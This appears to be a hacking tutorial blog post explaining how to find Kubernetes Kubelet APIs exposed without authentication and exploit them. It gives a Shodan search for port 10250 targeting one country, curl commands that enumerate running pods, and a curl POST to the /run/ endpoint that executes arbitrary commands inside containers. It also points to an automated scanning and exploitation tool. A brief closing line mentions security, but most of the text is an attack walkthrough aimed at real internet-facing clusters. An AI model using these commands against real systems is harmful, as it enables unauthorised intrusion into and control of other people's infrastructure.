Welcome back, aspiring cyberwarriors!
In this article, we will explore how to search for and exploit vulnerabilities in the Kubernetes Kubelet API, focusing on its default unauthenticated access.
Kubernetes is a portable, extensible, open-source platform for managing containerized workloads and services. When you deploy Kubernetes, you get a cluster. A Kubernetes cluster consists of a set of worker machines, called nodes, that run containerized applications. Every cluster has at least one worker node.
Kubernetes runs your workload by placing containers into pods to run on nodes. The control plane (also known as the master) manages the worker nodes and the pods within the cluster. The components of the control plane make global decisions about the cluster and detect and respond to cluster events.
There are many components tied together in a cluster. For the sake of simplicity, keep in mind that:
The Kubelet is the main component of a node; it’s an agent that runs on each node in the cluster. It is responsible for managing all containers running in every pod within the cluster.
The Kube API Server is a component of the Kubernetes control plane that exposes the Kubernetes API. The API server is the front end for the Kubernetes control plane and the only component that all other master and worker components can directly communicate with. Developers and operators can interact with the API server via the kubectl command-line client or through REST API calls.
Kubelet API
According to the guidelines for controlling access to the Kubelet:
“The Kubelet exposes HTTPS endpoints that grant powerful control over the node and containers. By default, Kubelets allow unauthenticated access to this API. In production clusters, Kubelet authentication and authorization should be enabled.”
Furthermore, as per the Kubelet authentication/authorization documentation:
“By default, requests to the Kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests. Any request that is successfully authenticated (including an anonymous request) is then authorized. The default authorization mode is AlwaysAllow, which permits all requests.”
This means that with the default configuration, the only requirement to gain full access to the Kubelet API is network access.
This API is exposed by default on port 10250/TCP and should be accessible only for intra-cluster communication (kube-apiserver → kubelet). However, a lack of network segregation and weak firewall rules could allow attacks from outside the cluster.
This service is quite easy to find. For example, we can enter in Shodan: port:10250 country: “RU”
In some cases, there will be read-only access. This means that we will only be able to get information from the API: cluster settings, pod names, and other settings. This is not critical information, but it’s also important for hacking process.
We can exploit this, for example, by accessing the following URL: https://<IP>:10255/pods
Although there are some problems: the Kubelet APIs are not documented, but when did this ever stop hackers? We can look at the source code on Github.
We are interested in a string that starts with “path(”
There, we can observe the following endpoints:
/pods/
/run/
/exec/
/attach/
/runningpods/
and others.
Pay attention to /exec/ and /run/. They can be used for executing code inside the container. Nowadays, you can already find tools for exploitation on Github, but for a better understanding of the process, we will do it through curl.
Obviously, most results will be false positives or protected APIs (which will return “Unauthorized” response). Keep doing some scavenging or adjust the filters to find the ones that matter.
Giving a try by querying the API, we can eventually get the response:
kali> curl -k https://<IP>:10250/runningpods/
We just found our exposed unauthenticated API. A detailed list with pods/containers running is returned in the JSON format. For a better view, we can use the “jq” tool for parsing only the pod names:
kali> curl -k https://<IP>:10250/runningpods/ | jq ‘.items[].metadata.name‘
To get the namespace, pods, and containers, we can use the following command:
kali> curl -s -k https://<IP>:10250/runningpods/ | jq -r ‘.items[]| [.metadata.namespace, .metadata.name, [.spec.containers[].name]]’
To run a command in a container, the command below can be used:
kali> curl -XPOST -k \https://<IP>:10250/run/<namespace>/<pod>/<container> -d “cmd=<command-to-run>”
There are tools available to automate search on Shodan for vulnerable Kubelet APIs, such as Kubolt – simple utility designed for scanning publicly accessible, unauthenticated Kubernetes clusters and executing commands inside containers.
Here’s a demo screenshot:
Summary
In this article, we explored how to attack Kubernetes clusters using the Kubelet API. We discussed methods for identifying and exploiting these vulnerabilities, including how hackers can execute commands within containers, potentially leading to full control over the cluster. As Kubernetes continues to grow in popularity, it’s important to prioritize its security to protect against such threats.
